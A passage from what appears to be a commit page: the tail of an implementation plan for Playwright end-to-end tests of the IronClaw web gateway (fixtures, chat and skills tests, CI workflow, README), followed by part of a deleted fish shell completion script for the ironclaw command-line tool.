"SKILLS_ENABLED": "true",
"ROUTINES_ENABLED": "false",
"HEARTBEAT_ENABLED": "false",
"EMBEDDING_ENABLED": "false",
# Prevent onboarding wizard from triggering
"ONBOARD_COMPLETED": "true",
}
proc = await asyncio.create_subprocess_exec(
ironclaw_binary,
stdout=asyncio.subprocess.PIPE,
stderr=asyncio.subprocess.PIPE,
env=env,
)
base_url = f"http://127.0.0.1:{GATEWAY_PORT}"
try:
await wait_for_ready(f"{base_url}/api/health", timeout=60)
yield base_url
finally:
proc.send_signal(signal.SIGTERM)
try:
await asyncio.wait_for(proc.wait(), timeout=5)
except asyncio.TimeoutError:
proc.kill()
@pytest.fixture
async def page(ironclaw_server):
"""Fresh Playwright browser page, navigated to the gateway with auth."""
from playwright.async_api import async_playwright
async with async_playwright() as p:
browser = await p.chromium.launch(headless=True)
context = await browser.new_context(viewport={"width": 1280, "height": 720})
pg = await context.new_page()
await pg.goto(f"{ironclaw_server}/?token={AUTH_TOKEN}")
# Wait for the app to initialize (auth screen hidden, SSE connected)
await pg.wait_for_selector("#auth-screen", state="hidden", timeout=15000)
yield pg
await context.close()
await browser.close()
```
**Step 2: Commit**
```bash
git add tests/e2e/conftest.py
git commit -m "feat: E2E conftest with session fixtures for mock LLM and ironclaw"
```
---
### Task 5: Scenario 1 -- Connection and tab navigation
**Files:**
- Create: `tests/e2e/scenarios/test_connection.py`
**Step 1: Write the test**
```python
"""Scenario 1: Connection, auth, and tab navigation."""
import pytest
from helpers import AUTH_TOKEN, SEL, TABS
async def test_page_loads_and_connects(page):
"""After auth, the app shows Connected status and all tabs."""
# Connection status
status = page.locator(SEL["sse_status"])
await status.wait_for(state="visible", timeout=10000)
text = await status.text_content()
assert text is not None
assert "connect" in text.lower(), f"Expected 'Connected', got '{text}'"
# All 6 main tabs visible
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
assert await btn.is_visible(), f"Tab button '{tab}' not visible"
async def test_tab_navigation(page):
"""Clicking each tab shows its panel."""
for tab in TABS:
btn = page.locator(SEL["tab_button"].format(tab=tab))
await btn.click()
panel = page.locator(SEL["tab_panel"].format(tab=tab))
await panel.wait_for(state="visible", timeout=5000)
# Return to Chat tab
await page.locator(SEL["tab_button"].format(tab="chat")).click()
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
async def test_auth_rejection(page, ironclaw_server):
"""Navigating without a token shows the auth screen."""
# Open a new page without the token
new_page = await page.context.new_page()
await new_page.goto(ironclaw_server)
auth_screen = new_page.locator(SEL["auth_screen"])
await auth_screen.wait_for(state="visible", timeout=10000)
await new_page.close()
```
**Step 2: Verify test runs (may fail if ironclaw isn't built yet -- that's OK)**
```bash
cd tests/e2e && python -m pytest scenarios/test_connection.py -v --timeout=120
```
Expected: Tests pass if ironclaw is built, or skip/fail gracefully if not.
**Step 3: Commit**
```bash
git add tests/e2e/scenarios/test_connection.py
git commit -m "feat: E2E scenario 1 -- connection and tab navigation tests"
```
---
### Task 6: Scenario 2 -- Chat message round-trip
**Files:**
- Create: `tests/e2e/scenarios/test_chat.py`
**Step 1: Write the test**
```python
"""Scenario 2: Chat message round-trip via SSE streaming."""
import pytest
from helpers import SEL
async def test_send_message_and_receive_response(page):
"""Type a message, receive a streamed response from mock LLM."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# Send message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for assistant response
assistant_msg = page.locator(SEL["message_assistant"]).last
await assistant_msg.wait_for(state="visible", timeout=15000)
# Verify user message
user_msgs = page.locator(SEL["message_user"])
assert await user_msgs.count() >= 1
last_user = user_msgs.last
user_text = await last_user.text_content()
assert "2+2" in user_text or "2 + 2" in user_text
# Verify assistant response contains "4" (from mock LLM canned response)
assistant_text = await assistant_msg.text_content()
assert "4" in assistant_text, f"Expected '4' in response, got: '{assistant_text}'"
async def test_multiple_messages(page):
"""Send two messages, verify both get responses."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
# First message
await chat_input.fill("Hello")
await chat_input.press("Enter")
# Wait for first response
await page.locator(SEL["message_assistant"]).first.wait_for(
state="visible", timeout=15000
)
# Second message
await chat_input.fill("What is 2+2?")
await chat_input.press("Enter")
# Wait for second response (at least 2 assistant messages)
await page.wait_for_function(
"""() => document.querySelectorAll('#chat-messages .message.assistant').length >= 2""",
timeout=15000,
)
# Verify counts
user_count = await page.locator(SEL["message_user"]).count()
assistant_count = await page.locator(SEL["message_assistant"]).count()
assert user_count >= 2, f"Expected >= 2 user messages, got {user_count}"
assert assistant_count >= 2, f"Expected >= 2 assistant messages, got {assistant_count}"
async def test_empty_message_not_sent(page):
"""Pressing Enter with empty input should not create a message."""
chat_input = page.locator(SEL["chat_input"])
await chat_input.wait_for(state="visible", timeout=5000)
initial_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
# Press Enter with empty input
await chat_input.press("Enter")
# Wait a moment and verify no new messages
await page.wait_for_timeout(2000)
final_count = await page.locator(f"{SEL['message_user']}, {SEL['message_assistant']}").count()
assert final_count == initial_count, "Empty message should not create new messages"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_chat.py
git commit -m "feat: E2E scenario 2 -- chat message round-trip tests"
```
---
### Task 7: Scenario 3 -- Skills lifecycle
**Files:**
- Create: `tests/e2e/scenarios/test_skills.py`
**Step 1: Write the test**
Note: These tests depend on ClawHub being reachable. They're marked with `@pytest.mark.skipif` if the registry is down.
```python
"""Scenario 3: Skills search, install, and remove lifecycle."""
import pytest
from helpers import SEL
async def test_skills_tab_visible(page):
"""Skills tab shows the search interface."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
panel = page.locator(SEL["tab_panel"].format(tab="skills"))
await panel.wait_for(state="visible", timeout=5000)
search_input = page.locator(SEL["skill_search_input"])
assert await search_input.is_visible(), "Skills search input not visible"
async def test_skills_search(page):
"""Search ClawHub for skills and verify results appear."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
# Wait for results (ClawHub may be slow)
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
count = await results.count()
assert count >= 1, "Expected at least 1 search result"
async def test_skills_install_and_remove(page):
"""Install a skill from search results, then remove it."""
await page.locator(SEL["tab_button"].format(tab="skills")).click()
# Search
search_input = page.locator(SEL["skill_search_input"])
await search_input.fill("markdown")
await search_input.press("Enter")
try:
results = page.locator(SEL["skill_search_result"])
await results.first.wait_for(state="visible", timeout=20000)
except Exception:
pytest.skip("ClawHub registry unreachable or returned no results")
# Auto-accept confirm dialogs
await page.evaluate("window.confirm = () => true")
# Install first result
install_btn = results.first.locator("button", has_text="Install")
if await install_btn.count() == 0:
pytest.skip("No installable skills found in results")
await install_btn.click()
# Wait for install to complete (installed list updates)
# The UI should show the skill in the installed section
await page.wait_for_timeout(5000)
# Check if any installed skills exist now
installed = page.locator(SEL["skill_installed"])
installed_count = await installed.count()
if installed_count == 0:
# Try scrolling or waiting longer
await page.wait_for_timeout(5000)
installed_count = await installed.count()
assert installed_count >= 1, "Skill should appear in installed list after install"
# Remove the skill
remove_btn = installed.first.locator("button", has_text="Remove")
if await remove_btn.count() > 0:
await remove_btn.click()
await page.wait_for_timeout(3000)
# Verify removed
new_count = await page.locator(SEL["skill_installed"]).count()
assert new_count < installed_count, "Skill should be removed from installed list"
```
**Step 2: Commit**
```bash
git add tests/e2e/scenarios/test_skills.py
git commit -m "feat: E2E scenario 3 -- skills search, install, remove tests"
```
---
### Task 8: CI workflow
**Files:**
- Create: `.github/workflows/e2e.yml`
**Step 1: Write the workflow**
```yaml
name: E2E Tests
on:
schedule:
- cron: "0 6 * * 1" # Weekly Monday 6 AM UTC
workflow_dispatch:
pull_request:
paths:
- "src/channels/web/**"
- "tests/e2e/**"
jobs:
e2e:
name: Browser E2E
runs-on: ubuntu-latest
timeout-minutes: 30
steps:
- uses: actions/checkout@v4
- uses: dtolnay/rust-toolchain@stable
- uses: actions/cache@v4
with:
path: |
target
~/.cargo/registry
key: e2e-${{ runner.os }}-${{ hashFiles('Cargo.lock') }}
- name: Build ironclaw (libsql)
run: cargo build --no-default-features --features libsql
- uses: actions/setup-python@v5
with:
python-version: "3.12"
- name: Install E2E dependencies
run: |
cd tests/e2e
pip install -e .
playwright install --with-deps chromium
- name: Run E2E tests
run: pytest tests/e2e/ -v --timeout=120
- name: Upload screenshots on failure
if: failure()
uses: actions/upload-artifact@v4
with:
name: e2e-screenshots
path: tests/e2e/screenshots/
if-no-files-found: ignore
```
**Step 2: Commit**
```bash
git add .github/workflows/e2e.yml
git commit -m "ci: add weekly E2E test workflow with Playwright"
```
---
### Task 9: README
**Files:**
- Create: `tests/e2e/README.md`
**Step 1: Write the README**
```markdown
# IronClaw E2E Tests
Browser-level end-to-end tests for the IronClaw web gateway using Python + Playwright.
## Prerequisites
- Python 3.11+
- Rust toolchain (for building ironclaw)
- Chromium (installed via Playwright)
## Setup
```bash
cd tests/e2e
pip install -e .
playwright install chromium
```
## Build ironclaw
The tests need the ironclaw binary built with libsql support:
```bash
cargo build --no-default-features --features libsql
```
## Run tests
```bash
# From repo root
pytest tests/e2e/ -v
# Run a single scenario
pytest tests/e2e/scenarios/test_chat.py -v
# With visible browser (not headless)
HEADED=1 pytest tests/e2e/scenarios/test_connection.py -v
```
## Architecture
Tests start two subprocesses:
1. **Mock LLM** (`mock_llm.py`) -- fake OpenAI-compat server with canned responses
2. **IronClaw** -- the real binary with gateway enabled, pointing to the mock LLM
Then Playwright drives a headless Chromium browser against the gateway, making DOM assertions.
## Scenarios
| File | What it tests |
|------|--------------|
| `test_connection.py` | Auth, tab navigation, connection status |
| `test_chat.py` | Send message, SSE streaming, response rendering |
| `test_skills.py` | ClawHub search, skill install/remove |
## Adding new scenarios
1. Create `tests/e2e/scenarios/test_<name>.py`
2. Use the `page` fixture for a fresh browser page
3. Use selectors from `helpers.py` (update `SEL` dict if new elements are needed)
4. Keep tests deterministic -- use the mock LLM, not real providers
```
**Step 2: Commit**
```bash
git add tests/e2e/README.md
git commit -m "docs: E2E test README with setup and usage instructions"
```
---
### Task 10: Integration test -- run all scenarios end-to-end
**Step 1: Build ironclaw**
```bash
cargo build --no-default-features --features libsql
```
**Step 2: Run the full E2E suite**
```bash
pytest tests/e2e/ -v --timeout=120
```
Expected: All tests in `test_connection.py` and `test_chat.py` pass. `test_skills.py` tests pass or skip (if ClawHub is unreachable).
**Step 3: Fix any issues discovered during the run**
Common issues to watch for:
- Port conflicts: change `MOCK_LLM_PORT` or `GATEWAY_PORT` in conftest.py
- Timing: increase wait timeouts if SSE streaming is slow
- Selectors: update `SEL` dict in helpers.py if frontend elements changed
- Onboarding wizard: ensure `ONBOARD_COMPLETED=true` prevents wizard from blocking
**Step 4: Final commit with any fixes**
```bash
git add -A tests/e2e/
git commit -m "fix: E2E test adjustments from integration run"
```
---
## Summary
| Task | Files | Description |
|------|-------|-------------|
| 1 | pyproject.toml, __init__.py | Project scaffolding |
| 2 | mock_llm.py | Mock OpenAI-compat server |
| 3 | helpers.py | Selectors and utilities |
| 4 | conftest.py | pytest fixtures |
| 5 | test_connection.py | Scenario 1: connection/tabs |
| 6 | test_chat.py | Scenario 2: chat round-trip |
| 7 | test_skills.py | Scenario 3: skills lifecycle |
| 8 | e2e.yml | CI workflow |
| 9 | README.md | Documentation |
| 10 | (integration run) | Verify everything works |
-3053
View File
File diff suppressed because it is too large Load Diff
-455
View File
@@ -1,455 +0,0 @@
# Print an optspec for argparse to handle cmd's options that are independent of any subcommand.
function __fish_ironclaw_global_optspecs
string join \n cli-only no-db m/message= c/config= no-onboard h/help V/version
end
function __fish_ironclaw_needs_command
# Figure out if the current invocation already has a command.
set -l cmd (commandline -opc)
set -e cmd[1]
argparse -s (__fish_ironclaw_global_optspecs) -- $cmd 2>/dev/null
or return
if set -q argv[1]
# Also print the command, so this can be used to figure out what it is.
echo $argv[1]
return 1
end
return 0
end
function __fish_ironclaw_using_subcommand
set -l cmd (__fish_ironclaw_needs_command)
test -z "$cmd"
and return 1
contains -- $cmd[1] $argv
end
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -s V -l version -d 'Print version'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "run" -d 'Run the agent (default if no subcommand given)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "onboard" -d 'Interactive onboarding wizard'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "config" -d 'Manage configuration settings'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "tool" -d 'Manage WASM tools'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "mcp" -d 'Manage MCP servers (hosted tool providers)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "memory" -d 'Query and manage workspace memory'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "pairing" -d 'DM pairing (approve inbound requests from unknown senders)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "service" -d 'Manage OS service (launchd / systemd)'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "doctor" -d 'Probe external dependencies and validate configuration'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "status" -d 'Show system health and diagnostics'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "completion" -d 'Generate shell completion scripts'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "worker" -d 'Run as a sandboxed worker inside a Docker container (internal use). This is invoked automatically by the orchestrator, not by users directly'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "claude-bridge" -d 'Run as a Claude Code bridge inside a Docker container (internal use). Spawns the `claude` CLI and streams output back to the orchestrator'
complete -c ironclaw -n "__fish_ironclaw_needs_command" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand run" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l skip-auth -d 'Skip authentication (use existing session)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l channels-only -d 'Reconfigure channels only'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand onboard" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "init" -d 'Generate a default config.toml file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "list" -d 'List all settings and their current values'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "get" -d 'Get a specific setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "set" -d 'Set a setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "reset" -d 'Reset a setting to its default value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "path" -d 'Show the settings storage info'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and not __fish_seen_subcommand_from init list get set reset path help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s o -l output -d 'Output path (default: ~/.ironclaw/config.toml)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l force -d 'Overwrite existing file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from init" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s f -l filter -d 'Show only settings matching this prefix (e.g., "agent", "heartbeat")' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from get" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from set" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from reset" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from path" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "init" -d 'Generate a default config.toml file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "list" -d 'List all settings and their current values'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "get" -d 'Get a specific setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "set" -d 'Set a setting value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "reset" -d 'Reset a setting to its default value'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "path" -d 'Show the settings storage info'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand config; and __fish_seen_subcommand_from help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "install" -d 'Install a WASM tool from source directory or .wasm file'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "list" -d 'List installed tools'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "remove" -d 'Remove an installed tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "info" -d 'Show information about a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "auth" -d 'Configure authentication for a tool'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and not __fish_seen_subcommand_from install list remove info auth help" -f -a "help" -d 'Print this message or the help of the given subcommand(s)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s n -l name -d 'Tool name (defaults to directory/file name)' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l capabilities -d 'Path to capabilities JSON file (auto-detected if not specified)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s t -l target -d 'Target directory for installation (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l release -d 'Build in release mode (default: true)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l skip-build -d 'Skip compilation (use existing .wasm file)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s f -l force -d 'Force overwrite if tool already exists'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from install" -s h -l help -d 'Print help'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s d -l dir -d 'Directory to list tools from (default: ~/.ironclaw/tools/)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s m -l message -d 'Single message mode - send one message and exit' -r
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s c -l config -d 'Configuration file path (optional, uses env vars by default)' -r -F
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s v -l verbose -d 'Show detailed information'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l cli-only -d 'Run in interactive CLI mode only (disable other channels)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-db -d 'Skip database connection (for testing)'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -l no-onboard -d 'Skip first-run onboarding check'
complete -c ironclaw -n "__fish_ironclaw_using_subcommand tool; and __fish_seen_subcommand_from list" -s h -l help -d 'Print help'
